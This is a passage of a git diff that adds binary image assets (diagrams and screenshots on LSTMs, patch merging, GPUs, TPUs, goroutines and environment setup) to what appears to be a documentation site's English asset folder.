b/en/assets/images/LSTM-gate_f-5c93006df95e14babe8307eeee3f3e9c.jpg differ diff --git a/en/assets/images/LSTM-gate_m-e52ee9258b3840e85cba7661e15f6b62.jpg b/en/assets/images/LSTM-gate_m-e52ee9258b3840e85cba7661e15f6b62.jpg new file mode 100644 index 0000000..8283aaa Binary files /dev/null and b/en/assets/images/LSTM-gate_m-e52ee9258b3840e85cba7661e15f6b62.jpg differ diff --git a/en/assets/images/LSTM-gate_o-45e4bd42727e79a1e218dfe81cb9848c.jpg b/en/assets/images/LSTM-gate_o-45e4bd42727e79a1e218dfe81cb9848c.jpg new file mode 100644 index 0000000..362968c Binary files /dev/null and b/en/assets/images/LSTM-gate_o-45e4bd42727e79a1e218dfe81cb9848c.jpg differ diff --git a/en/assets/images/LSTM-update-1527d106c01e8adb342a5863f739224d.jpg b/en/assets/images/LSTM-update-1527d106c01e8adb342a5863f739224d.jpg new file mode 100644 index 0000000..675fbfa Binary files /dev/null and b/en/assets/images/LSTM-update-1527d106c01e8adb342a5863f739224d.jpg differ diff --git a/en/assets/images/Lenna_original-191f4205cb913835ed5eff358d6fd526.png b/en/assets/images/Lenna_original-191f4205cb913835ed5eff358d6fd526.png new file mode 100644 index 0000000..cb9999f Binary files /dev/null and b/en/assets/images/Lenna_original-191f4205cb913835ed5eff358d6fd526.png differ diff --git a/en/assets/images/Linux_GPU-04efab93f031ece1f4452ddbd96013a0.png b/en/assets/images/Linux_GPU-04efab93f031ece1f4452ddbd96013a0.png new file mode 100644 index 0000000..fdf8b67 Binary files /dev/null and b/en/assets/images/Linux_GPU-04efab93f031ece1f4452ddbd96013a0.png differ diff --git a/en/assets/images/Linux_source-4185ab3d08326f5791913e50a81dfefd.png b/en/assets/images/Linux_source-4185ab3d08326f5791913e50a81dfefd.png new file mode 100644 index 0000000..ff58fe1 Binary files /dev/null and b/en/assets/images/Linux_source-4185ab3d08326f5791913e50a81dfefd.png differ diff --git a/en/assets/images/MLU-4c83e6cfdceb339cfa0214877ab0c8b2.jpg b/en/assets/images/MLU-4c83e6cfdceb339cfa0214877ab0c8b2.jpg new file mode 100644 index 0000000..521cf39 Binary files /dev/null and b/en/assets/images/MLU-4c83e6cfdceb339cfa0214877ab0c8b2.jpg differ diff --git a/en/assets/images/MMU-376b2784e76a04cdd92b8f0cefd5a5c5.jpg b/en/assets/images/MMU-376b2784e76a04cdd92b8f0cefd5a5c5.jpg new file mode 100644 index 0000000..87b4bd3 Binary files /dev/null and b/en/assets/images/MMU-376b2784e76a04cdd92b8f0cefd5a5c5.jpg differ diff --git a/en/assets/images/Nvidia-630ef31ec1fc1115e72ab947fa644588.png b/en/assets/images/Nvidia-630ef31ec1fc1115e72ab947fa644588.png new file mode 100644 index 0000000..a9f7536 Binary files /dev/null and b/en/assets/images/Nvidia-630ef31ec1fc1115e72ab947fa644588.png differ diff --git a/en/assets/images/Patch_Merging-f9dd3c999bf1b47910021367bb17c831.png b/en/assets/images/Patch_Merging-f9dd3c999bf1b47910021367bb17c831.png new file mode 100644 index 0000000..a5aa040 Binary files /dev/null and b/en/assets/images/Patch_Merging-f9dd3c999bf1b47910021367bb17c831.png differ diff --git a/en/assets/images/Patch_Merging_dim-e64c0c3c4275d196b806bc5ab33584b7.png b/en/assets/images/Patch_Merging_dim-e64c0c3c4275d196b806bc5ab33584b7.png new file mode 100644 index 0000000..f1b726b Binary files /dev/null and b/en/assets/images/Patch_Merging_dim-e64c0c3c4275d196b806bc5ab33584b7.png differ diff --git a/en/assets/images/Patch_embedding-6f27be8139f6dc24f6687fd8bf94a912.png b/en/assets/images/Patch_embedding-6f27be8139f6dc24f6687fd8bf94a912.png new file mode 100644 index 0000000..d413f9a Binary files /dev/null and b/en/assets/images/Patch_embedding-6f27be8139f6dc24f6687fd8bf94a912.png differ diff --git a/en/assets/images/Pycharm-957b19361072403278e971b5efcf05fe.png b/en/assets/images/Pycharm-957b19361072403278e971b5efcf05fe.png new file mode 100644 index 0000000..d827590 Binary files /dev/null and b/en/assets/images/Pycharm-957b19361072403278e971b5efcf05fe.png differ diff --git a/en/assets/images/Pytorch-653d46576926d6154bf017c39568d143.png b/en/assets/images/Pytorch-653d46576926d6154bf017c39568d143.png new file mode 100644 index 0000000..a0909e8 Binary files /dev/null and b/en/assets/images/Pytorch-653d46576926d6154bf017c39568d143.png differ diff --git a/en/assets/images/TPU-cab53f46a11cfc4298201a002bb7b756.jpg b/en/assets/images/TPU-cab53f46a11cfc4298201a002bb7b756.jpg new file mode 100644 index 0000000..270186f Binary files /dev/null and b/en/assets/images/TPU-cab53f46a11cfc4298201a002bb7b756.jpg differ diff --git a/en/assets/images/Window_Partition_Reverse-fb094a768e02bbb5c57aba7b8f4996d2.png b/en/assets/images/Window_Partition_Reverse-fb094a768e02bbb5c57aba7b8f4996d2.png new file mode 100644 index 0000000..410eb32 Binary files /dev/null and b/en/assets/images/Window_Partition_Reverse-fb094a768e02bbb5c57aba7b8f4996d2.png differ diff --git a/en/assets/images/a712fa934ad208f15e46e3adf758eaa3-e15ed49fff3e768596c6aab320a0e8b6.png b/en/assets/images/a712fa934ad208f15e46e3adf758eaa3-e15ed49fff3e768596c6aab320a0e8b6.png new file mode 100644 index 0000000..bdcc05b Binary files /dev/null and b/en/assets/images/a712fa934ad208f15e46e3adf758eaa3-e15ed49fff3e768596c6aab320a0e8b6.png differ diff --git a/en/assets/images/acc_wandb-f7d79bc4f8a19288783a8fed7e6ac001.png b/en/assets/images/acc_wandb-f7d79bc4f8a19288783a8fed7e6ac001.png new file mode 100644 index 0000000..90e79f6 Binary files /dev/null and b/en/assets/images/acc_wandb-f7d79bc4f8a19288783a8fed7e6ac001.png differ diff --git a/en/assets/images/accelerator-69cfd7bf8aed4773d4326f8771cf5956.jpg b/en/assets/images/accelerator-69cfd7bf8aed4773d4326f8771cf5956.jpg new file mode 100644 index 0000000..f914b00 Binary files /dev/null and b/en/assets/images/accelerator-69cfd7bf8aed4773d4326f8771cf5956.jpg differ diff --git a/en/assets/images/aug_seq-281c342aec9895cd0f1a2c9513d7ff04.png b/en/assets/images/aug_seq-281c342aec9895cd0f1a2c9513d7ff04.png new file mode 100644 index 0000000..720dbd4 Binary files /dev/null and b/en/assets/images/aug_seq-281c342aec9895cd0f1a2c9513d7ff04.png differ diff --git a/en/assets/images/backends-ae65df1ea1c7a666b8aa942afb622692.png b/en/assets/images/backends-ae65df1ea1c7a666b8aa942afb622692.png new file mode 100644 index 0000000..22e13c5 Binary files /dev/null and b/en/assets/images/backends-ae65df1ea1c7a666b8aa942afb622692.png differ diff --git a/en/assets/images/bias0-79a7bcf048bdd7436667a02628bd349a.png b/en/assets/images/bias0-79a7bcf048bdd7436667a02628bd349a.png new file mode 100644 index 0000000..d3fe2ef Binary files /dev/null and b/en/assets/images/bias0-79a7bcf048bdd7436667a02628bd349a.png differ diff --git a/en/assets/images/block-bd525508c9ef693cb5a45c56b07519d3.jpg b/en/assets/images/block-bd525508c9ef693cb5a45c56b07519d3.jpg new file mode 100644 index 0000000..bf19c21 Binary files /dev/null and b/en/assets/images/block-bd525508c9ef693cb5a45c56b07519d3.jpg differ diff --git a/en/assets/images/cam-86e63ecd417f308ff08029b53775208f.png b/en/assets/images/cam-86e63ecd417f308ff08029b53775208f.png new file mode 100644 index 0000000..acc6495 Binary files /dev/null and b/en/assets/images/cam-86e63ecd417f308ff08029b53775208f.png differ diff --git a/en/assets/images/cam_dog-dd862b5c3b09b7dcdedb52b230449607.png b/en/assets/images/cam_dog-dd862b5c3b09b7dcdedb52b230449607.png new file mode 100644 index 0000000..2237e8f Binary files /dev/null and b/en/assets/images/cam_dog-dd862b5c3b09b7dcdedb52b230449607.png differ diff --git a/en/assets/images/cdf2c66969b232f56aa024ff6d2415ea-0ce1e926d8aa8c1d3351d64463f9a9b5.png b/en/assets/images/cdf2c66969b232f56aa024ff6d2415ea-0ce1e926d8aa8c1d3351d64463f9a9b5.png new file mode 100644 index 0000000..6d003fa Binary files /dev/null and b/en/assets/images/cdf2c66969b232f56aa024ff6d2415ea-0ce1e926d8aa8c1d3351d64463f9a9b5.png differ diff --git a/en/assets/images/channel-3d053a51058db1c2b1158df9e145c8a7.png b/en/assets/images/channel-3d053a51058db1c2b1158df9e145c8a7.png new file mode 100644 index 0000000..12b8463 Binary files /dev/null and b/en/assets/images/channel-3d053a51058db1c2b1158df9e145c8a7.png differ diff --git a/en/assets/images/check_linux-e2275cb42db9f7d4760d19639169a3c9.png b/en/assets/images/check_linux-e2275cb42db9f7d4760d19639169a3c9.png new file mode 100644 index 0000000..6ca21ab Binary files /dev/null and b/en/assets/images/check_linux-e2275cb42db9f7d4760d19639169a3c9.png differ diff --git a/en/assets/images/check_windows-bb6a0faca9fbb4bb392ef816aa03bb58.png b/en/assets/images/check_windows-bb6a0faca9fbb4bb392ef816aa03bb58.png new file mode 100644 index 0000000..c973872 Binary files /dev/null and b/en/assets/images/check_windows-bb6a0faca9fbb4bb392ef816aa03bb58.png differ diff --git a/en/assets/images/choose_envs-1076fdf743d4980316859b6e45c41dca.png b/en/assets/images/choose_envs-1076fdf743d4980316859b6e45c41dca.png new file mode 100644 index 0000000..a9265fb Binary files /dev/null and b/en/assets/images/choose_envs-1076fdf743d4980316859b6e45c41dca.png differ diff --git a/en/assets/images/clip_image002-1e67c171bdcee14bdf98c9f4399cac33.gif b/en/assets/images/clip_image002-1e67c171bdcee14bdf98c9f4399cac33.gif new file mode 100644 index 0000000..366fe97 Binary files /dev/null and b/en/assets/images/clip_image002-1e67c171bdcee14bdf98c9f4399cac33.gif differ diff --git a/en/assets/images/code_Architecture-9400375c594d539e7e5d7d3ec94b0339.png b/en/assets/images/code_Architecture-9400375c594d539e7e5d7d3ec94b0339.png new file mode 100644 index 0000000..244fb18 Binary files /dev/null and b/en/assets/images/code_Architecture-9400375c594d539e7e5d7d3ec94b0339.png differ diff --git a/en/assets/images/coords-acbc3056889bd861c15f281cf4569a28.png b/en/assets/images/coords-acbc3056889bd861c15f281cf4569a28.png new file mode 100644 index 0000000..e77e511 Binary files /dev/null and b/en/assets/images/coords-acbc3056889bd861c15f281cf4569a28.png differ diff --git a/en/assets/images/cs-16717198568095-1c013e8fa3dea491dc623fb2d55220c5.png b/en/assets/images/cs-16717198568095-1c013e8fa3dea491dc623fb2d55220c5.png new file mode 100644 index 0000000..20f5ba0 Binary files /dev/null and b/en/assets/images/cs-16717198568095-1c013e8fa3dea491dc623fb2d55220c5.png differ diff --git a/en/assets/images/dadiannao-15aec937288716ba33e2fd0106c98f3c.jpg b/en/assets/images/dadiannao-15aec937288716ba33e2fd0106c98f3c.jpg new file mode 100644 index 0000000..e1e11be Binary files /dev/null and b/en/assets/images/dadiannao-15aec937288716ba33e2fd0106c98f3c.jpg differ diff --git a/en/assets/images/data_parllel-b7e876b2d3c6296b93e3317afa55b78f.png b/en/assets/images/data_parllel-b7e876b2d3c6296b93e3317afa55b78f.png new file mode 100644 index 0000000..84362b0 Binary files /dev/null and b/en/assets/images/data_parllel-b7e876b2d3c6296b93e3317afa55b78f.png differ diff --git a/en/assets/images/diannao-24639eb4c8386196464107558ebf0356.jpg b/en/assets/images/diannao-24639eb4c8386196464107558ebf0356.jpg new file mode 100644 index 0000000..37c7744 Binary files /dev/null and b/en/assets/images/diannao-24639eb4c8386196464107558ebf0356.jpg differ diff --git a/en/assets/images/different_size-f7f9fbcd2a20b22d2aa6f13b010b1b00.png b/en/assets/images/different_size-f7f9fbcd2a20b22d2aa6f13b010b1b00.png new file mode 100644 index 0000000..b6e975d Binary files /dev/null and b/en/assets/images/different_size-f7f9fbcd2a20b22d2aa6f13b010b1b00.png differ diff --git a/en/assets/images/dog-00ce26342776aeb213f4d1e38f33bc08.png b/en/assets/images/dog-00ce26342776aeb213f4d1e38f33bc08.png new file mode 100644 index 0000000..dd551d8 Binary files /dev/null and b/en/assets/images/dog-00ce26342776aeb213f4d1e38f33bc08.png differ diff --git a/en/assets/images/download-4da7355589063c5959add8d34cc24970.png b/en/assets/images/download-4da7355589063c5959add8d34cc24970.png new file mode 100644 index 0000000..407902f Binary files /dev/null and b/en/assets/images/download-4da7355589063c5959add8d34cc24970.png differ diff --git a/en/assets/images/download1-fd264457dd6ba747b5c8c48e7b2479b1.png b/en/assets/images/download1-fd264457dd6ba747b5c8c48e7b2479b1.png new file mode 100644 index 0000000..dc6115d Binary files /dev/null and b/en/assets/images/download1-fd264457dd6ba747b5c8c48e7b2479b1.png differ diff --git a/en/assets/images/download2-5037dead2e7bfecc169e95cc9449fc44.png b/en/assets/images/download2-5037dead2e7bfecc169e95cc9449fc44.png new file mode 100644 index 0000000..6438a00 Binary files /dev/null and b/en/assets/images/download2-5037dead2e7bfecc169e95cc9449fc44.png differ diff --git a/en/assets/images/eca2ceab4a2e8483ad4416c424a9111d-59de62547ef850bb9db0075867f2dc8f.png b/en/assets/images/eca2ceab4a2e8483ad4416c424a9111d-59de62547ef850bb9db0075867f2dc8f.png new file mode 100644 index 0000000..e140e6c Binary files /dev/null and b/en/assets/images/eca2ceab4a2e8483ad4416c424a9111d-59de62547ef850bb9db0075867f2dc8f.png differ diff --git a/en/assets/images/env_list-ea03e84eb7fb87adc8c4218773b9eb26.png b/en/assets/images/env_list-ea03e84eb7fb87adc8c4218773b9eb26.png new file mode 100644 index 0000000..0be724a Binary files /dev/null and b/en/assets/images/env_list-ea03e84eb7fb87adc8c4218773b9eb26.png differ diff --git a/en/assets/images/envs1-451eb7783915f133dd69d25f11dc7f6e.png b/en/assets/images/envs1-451eb7783915f133dd69d25f11dc7f6e.png new file mode 100644 index 0000000..00a5b17 Binary files /dev/null and b/en/assets/images/envs1-451eb7783915f133dd69d25f11dc7f6e.png differ diff --git a/en/assets/images/envs2-198a6d2179df41cf98ba39bb971d63b1.png b/en/assets/images/envs2-198a6d2179df41cf98ba39bb971d63b1.png new file mode 100644 index 0000000..a0908ee Binary files /dev/null and b/en/assets/images/envs2-198a6d2179df41cf98ba39bb971d63b1.png differ diff --git a/en/assets/images/expansion-0109d5db605c33d1ee3b5a2b18a95927.jpg b/en/assets/images/expansion-0109d5db605c33d1ee3b5a2b18a95927.jpg new file mode 100644 index 0000000..dac8101 Binary files /dev/null and b/en/assets/images/expansion-0109d5db605c33d1ee3b5a2b18a95927.jpg differ diff --git a/en/assets/images/f370f31459c94cebb2900f580b26faee-b5a84aa0aebd62aee22c32b21400f046.png b/en/assets/images/f370f31459c94cebb2900f580b26faee-b5a84aa0aebd62aee22c32b21400f046.png new file mode 100644 index 0000000..52a4319 Binary files /dev/null and b/en/assets/images/f370f31459c94cebb2900f580b26faee-b5a84aa0aebd62aee22c32b21400f046.png differ diff --git a/en/assets/images/f7c83fc40db51c0676aa220a6b4263fd-c557133287a733812ea44bda107ff68f.png b/en/assets/images/f7c83fc40db51c0676aa220a6b4263fd-c557133287a733812ea44bda107ff68f.png new file mode 100644 index 0000000..64aac82 Binary files /dev/null and b/en/assets/images/f7c83fc40db51c0676aa220a6b4263fd-c557133287a733812ea44bda107ff68f.png differ diff --git a/en/assets/images/fashion-mnist-sprite-e505930fa54d62f4bba9830b8b3fd83c.png b/en/assets/images/fashion-mnist-sprite-e505930fa54d62f4bba9830b8b3fd83c.png new file mode 100644 index 0000000..b7284c4 Binary files /dev/null and b/en/assets/images/fashion-mnist-sprite-e505930fa54d62f4bba9830b8b3fd83c.png differ diff --git a/en/assets/images/finetune-879a4a076ff832b72bdb0579b0a531e9.png b/en/assets/images/finetune-879a4a076ff832b72bdb0579b0a531e9.png new file mode 100644 index 0000000..10acb3f Binary files /dev/null and b/en/assets/images/finetune-879a4a076ff832b72bdb0579b0a531e9.png differ diff --git a/en/assets/images/float16-e65233fe4f15e50c00ed7034ecb48a45.jpg b/en/assets/images/float16-e65233fe4f15e50c00ed7034ecb48a45.jpg new file mode 100644 index 0000000..a9974dd Binary files /dev/null and b/en/assets/images/float16-e65233fe4f15e50c00ed7034ecb48a45.jpg differ diff --git a/en/assets/images/frameworks-96dcf243dd832ead7229e20167dd813b.png b/en/assets/images/frameworks-96dcf243dd832ead7229e20167dd813b.png new file mode 100644 index 0000000..18a83b3 Binary files /dev/null and b/en/assets/images/frameworks-96dcf243dd832ead7229e20167dd813b.png differ diff --git a/en/assets/images/frp-16717198352574-0ae36dc64cc793a97d82409fff171680.png b/en/assets/images/frp-16717198352574-0ae36dc64cc793a97d82409fff171680.png new file mode 100644 index 0000000..6121fa3 Binary files /dev/null and b/en/assets/images/frp-16717198352574-0ae36dc64cc793a97d82409fff171680.png differ diff --git a/en/assets/images/ft_activate-598a713e5892092429a2653272ab00ff.png b/en/assets/images/ft_activate-598a713e5892092429a2653272ab00ff.png new file mode 100644 index 0000000..3e9b96f Binary files /dev/null and b/en/assets/images/ft_activate-598a713e5892092429a2653272ab00ff.png differ diff --git a/en/assets/images/ft_gradient-3c7c64891c99ec1b3222e973cbfda993.png b/en/assets/images/ft_gradient-3c7c64891c99ec1b3222e973cbfda993.png new file mode 100644 index 0000000..58106fe Binary files /dev/null and b/en/assets/images/ft_gradient-3c7c64891c99ec1b3222e973cbfda993.png differ diff --git a/en/assets/images/goroutine01-e1a5a5dccac6ecb497a276573cc980bb.png b/en/assets/images/goroutine01-e1a5a5dccac6ecb497a276573cc980bb.png new file mode 100644 index 0000000..7f44a6a Binary files /dev/null and b/en/assets/images/goroutine01-e1a5a5dccac6ecb497a276573cc980bb.png differ diff --git a/en/assets/images/goroutine02-c842afde30abb657301cdcdd67eaa846.png b/en/assets/images/goroutine02-c842afde30abb657301cdcdd67eaa846.png new file mode 100644 index 0000000..453ece9 Binary files /dev/null and b/en/assets/images/goroutine02-c842afde30abb657301cdcdd67eaa846.png differ diff --git a/en/assets/images/gpm-8e3f557669920ed58500ad3b70df57a2.png b/en/assets/images/gpm-8e3f557669920ed58500ad3b70df57a2.png new file mode 100644 index 0000000..06fdb3a Binary files /dev/null and b/en/assets/images/gpm-8e3f557669920ed58500ad3b70df57a2.png differ diff --git a/en/assets/images/gpu-e2187203fc7525dc457a7a60f0909d53.png b/en/assets/images/gpu-e2187203fc7525dc457a7a60f0909d53.png new file mode 100644 index 0000000..611b94e Binary files /dev/null and b/en/assets/images/gpu-e2187203fc7525dc457a7a60f0909d53.png differ diff --git a/en/assets/images/hello-fad9ba7343b4d8ae8e8f478597c0a1d2.png b/en/assets/images/hello-fad9ba7343b4d8ae8e8f478597c0a1d2.png new file mode 100644 index 0000000..dd7080c Binary files /dev/null and b/en/assets/images/hello-fad9ba7343b4d8ae8e8f478597c0a1d2.png differ diff --git a/en/assets/images/httptcpip-420226ff0d45f1a141f205c7efc4a18f.png b/en/assets/images/httptcpip-420226ff0d45f1a141f205c7efc4a18f.png new file mode 100644 index 0000000..5f03cb7 Binary files /dev/null and b/en/assets/images/httptcpip-420226ff0d45f1a141f205c7efc4a18f.png differ diff --git a/en/assets/images/image-20220805033034092-0c502f24c84bae0b238652a967fa9f16.png b/en/assets/images/image-20220805033034092-0c502f24c84bae0b238652a967fa9f16.png new file mode 100644 index 0000000..a8f7f94 Binary files /dev/null and b/en/assets/images/image-20220805033034092-0c502f24c84bae0b238652a967fa9f16.png differ diff --git a/en/assets/images/image-20220812162810305-1c4fe40ac1c4edf18a0410f181e5f192.png b/en/assets/images/image-20220812162810305-1c4fe40ac1c4edf18a0410f181e5f192.png new file mode 100644 index 0000000..464eb5e Binary files /dev/null and b/en/assets/images/image-20220812162810305-1c4fe40ac1c4edf18a0410f181e5f192.png differ diff --git a/en/assets/images/image-20221129215233580-2ae1265359871a80b335075bc9d97c6c.png b/en/assets/images/image-20221129215233580-2ae1265359871a80b335075bc9d97c6c.png new file mode 100644 index 0000000..f001536 Binary files /dev/null and b/en/assets/images/image-20221129215233580-2ae1265359871a80b335075bc9d97c6c.png differ diff --git a/en/assets/images/image-20221129220950545-cb59080820e8171a03ab838fdd4850c6.png b/en/assets/images/image-20221129220950545-cb59080820e8171a03ab838fdd4850c6.png new file mode 100644 index 0000000..cd339f4 Binary files /dev/null and b/en/assets/images/image-20221129220950545-cb59080820e8171a03ab838fdd4850c6.png differ diff --git a/en/assets/images/image-20221129221123486-5af5fde947170b24cc1a0e6128114096.png b/en/assets/images/image-20221129221123486-5af5fde947170b24cc1a0e6128114096.png new file mode 100644 index 0000000..28696a7 Binary files /dev/null and b/en/assets/images/image-20221129221123486-5af5fde947170b24cc1a0e6128114096.png differ diff --git a/en/assets/images/image-20221129221603529-0356acbc4f9fb437067314df3b997e9e.png b/en/assets/images/image-20221129221603529-0356acbc4f9fb437067314df3b997e9e.png new file mode 100644 index 0000000..273c66d Binary files /dev/null and b/en/assets/images/image-20221129221603529-0356acbc4f9fb437067314df3b997e9e.png differ diff --git a/en/assets/images/image-20221129223221641-e5264b3c6e84323c268690bd59ec0f0f.png b/en/assets/images/image-20221129223221641-e5264b3c6e84323c268690bd59ec0f0f.png new file mode 100644 index 0000000..5f357f1 Binary files /dev/null and b/en/assets/images/image-20221129223221641-e5264b3c6e84323c268690bd59ec0f0f.png differ diff --git a/en/assets/images/image-20221129223249357-d874280b389a6152edb559150b558aea.png b/en/assets/images/image-20221129223249357-d874280b389a6152edb559150b558aea.png new file mode 100644 index 0000000..885e30d Binary files /dev/null and b/en/assets/images/image-20221129223249357-d874280b389a6152edb559150b558aea.png differ diff --git a/en/assets/images/image-20221129224035267-33ad003c9bad352aac7671f2aee74d0e.png b/en/assets/images/image-20221129224035267-33ad003c9bad352aac7671f2aee74d0e.png new file mode 100644 index 0000000..c44f24a Binary files /dev/null and b/en/assets/images/image-20221129224035267-33ad003c9bad352aac7671f2aee74d0e.png differ diff --git a/en/assets/images/image-20221129233842493-815d2024432f25884f498a2e72a008dd.png b/en/assets/images/image-20221129233842493-815d2024432f25884f498a2e72a008dd.png new file mode 100644 index 0000000..5fa9b3f Binary files /dev/null and b/en/assets/images/image-20221129233842493-815d2024432f25884f498a2e72a008dd.png differ diff --git a/en/assets/images/image-20221129234000275-73107f27ca7e92a5b1de64a99dd9ba31.png b/en/assets/images/image-20221129234000275-73107f27ca7e92a5b1de64a99dd9ba31.png new file mode 100644 index 0000000..fee1a28 Binary files /dev/null and b/en/assets/images/image-20221129234000275-73107f27ca7e92a5b1de64a99dd9ba31.png differ diff --git a/en/assets/images/image-20221129234013450-5634203-5b926001e24f6dc38a3983f4a36eb9b3.png b/en/assets/images/image-20221129234013450-5634203-5b926001e24f6dc38a3983f4a36eb9b3.png new file mode 100644 index 0000000..3396bb0 Binary files /dev/null and b/en/assets/images/image-20221129234013450-5634203-5b926001e24f6dc38a3983f4a36eb9b3.png differ diff --git a/en/assets/images/image-20221129234122642-5634203-6de49d941aac04b57d779dd5112c7cb7.png b/en/assets/images/image-20221129234122642-5634203-6de49d941aac04b57d779dd5112c7cb7.png new file mode 100644 index 0000000..4be06de Binary files /dev/null and b/en/assets/images/image-20221129234122642-5634203-6de49d941aac04b57d779dd5112c7cb7.png differ diff --git a/en/assets/images/image-20221129234152977-5634203-bdf409199c8fa4669f40fe1cbb125c2f.png b/en/assets/images/image-20221129234152977-5634203-bdf409199c8fa4669f40fe1cbb125c2f.png new file mode 100644 index 0000000..00d30cc Binary files /dev/null and b/en/assets/images/image-20221129234152977-5634203-bdf409199c8fa4669f40fe1cbb125c2f.png differ diff --git a/en/assets/images/image-20221129234338700-684ee9a5eb11961672019d57228575e6.png b/en/assets/images/image-20221129234338700-684ee9a5eb11961672019d57228575e6.png new file mode 100644 index 0000000..46b4466 Binary files /dev/null and b/en/assets/images/image-20221129234338700-684ee9a5eb11961672019d57228575e6.png differ diff --git a/en/assets/images/image-20221222221636085-ed5503668b24b3af098b82b01e68b224.png b/en/assets/images/image-20221222221636085-ed5503668b24b3af098b82b01e68b224.png new file mode 100644 index 0000000..59f45fb Binary files /dev/null and b/en/assets/images/image-20221222221636085-ed5503668b24b3af098b82b01e68b224.png differ diff --git a/en/assets/images/image-20221222221709180-3b2366552bb4be03e89d778a5977a96f.png b/en/assets/images/image-20221222221709180-3b2366552bb4be03e89d778a5977a96f.png new file mode 100644 index 0000000..f18ee14 Binary files /dev/null and b/en/assets/images/image-20221222221709180-3b2366552bb4be03e89d778a5977a96f.png differ diff --git a/en/assets/images/image-20221222221832761-4369e0198876a85de89e769af879d6fc.png b/en/assets/images/image-20221222221832761-4369e0198876a85de89e769af879d6fc.png new file mode 100644 index 0000000..d82b639 Binary files /dev/null and b/en/assets/images/image-20221222221832761-4369e0198876a85de89e769af879d6fc.png differ diff --git a/en/assets/images/image-20221222225408223-582ec85bc42929557c6cfdb6c475fdc8.png b/en/assets/images/image-20221222225408223-582ec85bc42929557c6cfdb6c475fdc8.png new file mode 100644 index 0000000..aecbe50 Binary files /dev/null and b/en/assets/images/image-20221222225408223-582ec85bc42929557c6cfdb6c475fdc8.png differ diff --git a/en/assets/images/image-20221222225645289-0902b028b55b6a96a4590f0631d9d116.png b/en/assets/images/image-20221222225645289-0902b028b55b6a96a4590f0631d9d116.png new file mode 100644 index 0000000..83e2f1c Binary files /dev/null and b/en/assets/images/image-20221222225645289-0902b028b55b6a96a4590f0631d9d116.png differ diff --git a/en/assets/images/image-20221222225738880-79e01cfbeb8c4b9f5f0bf0bc8db786ec.png b/en/assets/images/image-20221222225738880-79e01cfbeb8c4b9f5f0bf0bc8db786ec.png new file mode 100644 index 0000000..6dd225b Binary files /dev/null and b/en/assets/images/image-20221222225738880-79e01cfbeb8c4b9f5f0bf0bc8db786ec.png differ diff --git a/en/assets/images/image-20221222232309364-b6294a7774aa906fee4022a584f36bf1.png b/en/assets/images/image-20221222232309364-b6294a7774aa906fee4022a584f36bf1.png new file mode 100644 index 0000000..51f52e4 Binary files /dev/null and b/en/assets/images/image-20221222232309364-b6294a7774aa906fee4022a584f36bf1.png differ diff --git a/en/assets/images/image-20221222233527949-a0052a7aa98cbe1c787e4157b602cda8.png b/en/assets/images/image-20221222233527949-a0052a7aa98cbe1c787e4157b602cda8.png new file mode 100644 index 0000000..9041e1d Binary files /dev/null and b/en/assets/images/image-20221222233527949-a0052a7aa98cbe1c787e4157b602cda8.png differ diff --git a/en/assets/images/image-20221222233609264-407896cf6331126744df11bcd118b839.png b/en/assets/images/image-20221222233609264-407896cf6331126744df11bcd118b839.png new file mode 100644 index 0000000..121d173 Binary files /dev/null and b/en/assets/images/image-20221222233609264-407896cf6331126744df11bcd118b839.png differ diff --git a/en/assets/images/image-20221222233803640-55cc2a0cdebd13c25e2b30c7d5a61417.png b/en/assets/images/image-20221222233803640-55cc2a0cdebd13c25e2b30c7d5a61417.png new file mode 100644 index 0000000..5265e32 Binary files /dev/null and b/en/assets/images/image-20221222233803640-55cc2a0cdebd13c25e2b30c7d5a61417.png differ diff --git a/en/assets/images/image-20221222233933291-e67d6a2a97b95efc13570ea11d639671.png b/en/assets/images/image-20221222233933291-e67d6a2a97b95efc13570ea11d639671.png new file mode 100644 index 0000000..c72db40 Binary files /dev/null and b/en/assets/images/image-20221222233933291-e67d6a2a97b95efc13570ea11d639671.png differ diff --git a/en/assets/images/image-20221223134859998-1470ad905c4e4042d2cd0e3f4402c3b5.png b/en/assets/images/image-20221223134859998-1470ad905c4e4042d2cd0e3f4402c3b5.png new file mode 100644 index 0000000..f1e5c22 Binary files /dev/null and b/en/assets/images/image-20221223134859998-1470ad905c4e4042d2cd0e3f4402c3b5.png differ diff --git a/en/assets/images/image-20221223135148342-827e06f935b67ef04d59ee8ebf6594f6.png b/en/assets/images/image-20221223135148342-827e06f935b67ef04d59ee8ebf6594f6.png new file mode 100644 index 0000000..da35b98 Binary files /dev/null and b/en/assets/images/image-20221223135148342-827e06f935b67ef04d59ee8ebf6594f6.png differ diff --git a/en/assets/images/image-20221223135852257-b91a99520a06a75e37e617be7630de37.png b/en/assets/images/image-20221223135852257-b91a99520a06a75e37e617be7630de37.png new file mode 100644 index 0000000..605016a Binary files /dev/null and b/en/assets/images/image-20221223135852257-b91a99520a06a75e37e617be7630de37.png differ diff --git a/en/assets/images/image-20221223140334555-f385c6ba2538a3951c74abaa156e0bf5.png b/en/assets/images/image-20221223140334555-f385c6ba2538a3951c74abaa156e0bf5.png new file mode 100644 index 0000000..c4215c0 Binary files /dev/null and b/en/assets/images/image-20221223140334555-f385c6ba2538a3951c74abaa156e0bf5.png differ diff --git a/en/assets/images/image-20221223140744276-3d9ff9b7b2b8ae4e26ecc435b10d12c6.png b/en/assets/images/image-20221223140744276-3d9ff9b7b2b8ae4e26ecc435b10d12c6.png new file mode 100644 index 0000000..8c791cb Binary files /dev/null and b/en/assets/images/image-20221223140744276-3d9ff9b7b2b8ae4e26ecc435b10d12c6.png differ diff --git a/en/assets/images/image-20221223140831662-308a13c7d5e4f8848efa5a71d0744bc8.png b/en/assets/images/image-20221223140831662-308a13c7d5e4f8848efa5a71d0744bc8.png new file mode 100644 index 0000000..3a44df3 Binary files /dev/null and b/en/assets/images/image-20221223140831662-308a13c7d5e4f8848efa5a71d0744bc8.png differ diff --git a/en/assets/images/image-20221223140912091-1ed8670931790954beebde1bffbd2ff0.png b/en/assets/images/image-20221223140912091-1ed8670931790954beebde1bffbd2ff0.png new file mode 100644 index 0000000..78557d4 Binary files /dev/null and b/en/assets/images/image-20221223140912091-1ed8670931790954beebde1bffbd2ff0.png differ diff --git a/en/assets/images/image-20221223141456899-2ff8998f00925049d1557f979ff0406e.png b/en/assets/images/image-20221223141456899-2ff8998f00925049d1557f979ff0406e.png new file mode 100644 index 0000000..3faa2fa Binary files /dev/null and b/en/assets/images/image-20221223141456899-2ff8998f00925049d1557f979ff0406e.png differ diff --git a/en/assets/images/image-20221225232018339-cca8c8d087dee029fb54820fe74b335e.png 